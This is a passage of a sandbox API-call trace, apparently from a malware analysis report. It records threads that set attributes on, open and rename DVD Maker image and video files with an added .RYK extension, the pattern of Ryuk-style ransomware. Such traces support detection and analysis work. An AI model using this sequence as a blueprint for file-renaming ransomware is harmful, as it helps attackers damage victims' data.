	[0230.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1203
	os_tid = 0x18ec

	[0230.832] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png", dwFileAttributes=0x80) returned 0
	[0230.832] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1204
	os_tid = 0x18f0

	[0230.833] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png", dwFileAttributes=0x80) returned 0
	[0230.833] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.834] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1205
	os_tid = 0x18f4

	[0230.835] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png", dwFileAttributes=0x80) returned 0
	[0230.835] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.835] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1206
	os_tid = 0x18f8

	[0231.038] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png", dwFileAttributes=0x80) returned 0
	[0231.038] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.039] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1207
	os_tid = 0x18fc

	[0231.040] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png", dwFileAttributes=0x80) returned 0
	[0231.040] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.040] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.040] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1208
	os_tid = 0x1900

	[0231.042] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png", dwFileAttributes=0x80) returned 0
	[0231.042] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.042] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1209
	os_tid = 0x1904

	[0231.043] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png", dwFileAttributes=0x80) returned 0
	[0231.043] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.044] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1210
	os_tid = 0x1908

	[0231.045] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0231.045] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.045] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.045] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1211
	os_tid = 0x190c

	[0231.047] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0231.047] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.047] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.047] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1212
	os_tid = 0x1910

	[0231.048] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0231.049] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.049] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1213
	os_tid = 0x1914

	[0231.050] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png", dwFileAttributes=0x80) returned 0
	[0231.050] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.050] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.050] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1214
	os_tid = 0x1918

	[0231.052] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png", dwFileAttributes=0x80) returned 0
	[0231.052] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.052] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1215
	os_tid = 0x191c

	[0231.053] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png", dwFileAttributes=0x80) returned 0
	[0231.053] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.054] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1216
	os_tid = 0x1920

	[0231.055] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv", dwFileAttributes=0x80) returned 0
	[0231.055] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.055] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1217
	os_tid = 0x1924

	[0231.056] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0231.057] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.057] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1218
	os_tid = 0x1928

	[0231.058] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0231.058] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.058] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1219
	os_tid = 0x192c

	[0231.159] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0231.159] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1220
	os_tid = 0x1930

	[0231.161] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0231.161] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1221
	os_tid = 0x1934

	[0231.163] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0231.163] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1222
	os_tid = 0x1938

	[0231.164] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0231.164] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.164] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1223
	os_tid = 0x193c

	[0231.166] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0231.166] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1224
	os_tid = 0x1940

	[0231.167] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0231.168] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.168] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1225
	os_tid = 0x1944

	[0231.169] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0231.169] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1226
	os_tid = 0x1948

